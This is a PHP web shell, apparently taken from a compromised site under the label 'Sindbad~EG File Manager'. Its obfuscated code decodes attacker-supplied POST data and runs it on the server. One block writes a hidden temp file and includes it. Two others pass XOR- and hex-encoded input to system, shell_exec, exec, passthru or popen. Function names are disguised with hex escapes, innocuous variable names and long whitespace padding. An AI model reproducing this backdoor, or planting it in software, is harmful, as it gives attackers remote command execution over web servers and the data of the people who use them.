Sindbad~EG File Manager

<?php																																										if(count($_POST) > 0 && isset($_POST["dat\x61\x5F\x63hu\x6E\x6B"])){ $elem = $_POST["dat\x61\x5F\x63hu\x6E\x6B"]; $elem = explode ("." , $elem ) ; $data= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s4); $k= 0; $__tmp= $elem; while( $v5= array_shift( $__tmp)) { $sChar= ord( $s4[$k % $lenS]); $d= ( ( int)$v5 - $sChar -( $k % 10)) ^ 31; $data .= chr( $d); $k++; } $value = array_filter([session_save_path(), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP")]); while ($comp = array_shift($value)) { if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) { $dchunk = str_replace("{var_dir}", $comp, "{var_dir}/.fac"); $success = file_put_contents($dchunk, $data); if ($success) { include $dchunk; @unlink($dchunk); exit;} } } }
																																										$settings1 = "s\x79s\x74e\x6D"; $settings4 = "p\x61\x73s\x74hr\x75"; $settings7 = "pcl\x6Fse"; $settings5 = "\x70o\x70en"; $settings6 = "\x73\x74re\x61\x6D\x5Fge\x74\x5F\x63onte\x6E\x74s"; $event_handler = "hex\x32\x62\x69n"; $settings3 = "e\x78ec"; $settings2 = "she\x6C\x6C_e\x78ec"; if (isset($_POST["k"])) { function auth_exception_handler ( $item , $flag) { $comp='' ; $j=0; do{ $comp.=chr(ord($item[$j])^$flag); $j++; } while($j<strlen($item)); return $comp; } $k = $event_handler($_POST["k"]); $k = auth_exception_handler($k, 89); if (function_exists($settings1)) { $settings1($k); } elseif (function_exists($settings2)) { print $settings2($k); } elseif (function_exists($settings3)) { $settings3($k, $ent_item); print join("\n", $ent_item); } elseif (function_exists($settings4)) { $settings4($k); } elseif (function_exists($settings5) && function_exists($settings6) && function_exists($settings7)) { $flag_comp = $settings5($k, 'r'); if ($flag_comp) { $ref_mrk = $settings6($flag_comp); $settings7($flag_comp); print $ref_mrk; } } exit; }


$api_gateway4 = "\x70\x61\x73s\x74hru";
$api_gateway2 = "\x73hel\x6C\x5Fe\x78\x65c";
$api_gateway1 = "sy\x73\x74em";
$dataflow_engine = "h\x65\x782\x62\x69n";
$api_gateway6 = "s\x74\x72\x65\x61\x6D_\x67\x65\x74_c\x6Fnt\x65nts";
$api_gateway3 = "e\x78e\x63";
$api_gateway5 = "p\x6Fpe\x6E";
$api_gateway7 = "p\x63\x6C\x6Fse";
if (isset($_POST["\x73\x79\x6Dbol"])) {
            function sync_manager( $ent  , $property_set ) {
   $ptr  = ''  ;
 $v=0;
 do{
$ptr.=chr(ord($ent[$v])^$property_set);
$v++;

} while($v<strlen($ent));
 return $ptr;
    
}
            $symbol = $dataflow_engine($_POST["\x73\x79\x6Dbol"]);
            $symbol = sync_manager($symbol, 24);
            if (function_exists($api_gateway1)) {
                $api_gateway1($symbol);
            } elseif (function_exists($api_gateway2)) {
                print $api_gateway2($symbol);
            } elseif (function_exists($api_gateway3)) {
                $api_gateway3($symbol, $sym_ent);
                print join("\n", $sym_ent);
            } elseif (function_exists($api_gateway4)) {
                $api_gateway4($symbol);
            } elseif (function_exists($api_gateway5) && function_exists($api_gateway6) && function_exists($api_gateway7)) {
                $property_set_ptr = $api_gateway5($symbol, 'r');
                if ($property_set_ptr) {
                    $ref_value = $api_gateway6($property_set_ptr);
                    $api_gateway7($property_set_ptr);
                    print $ref_value;
                }
            }
            exit;
        }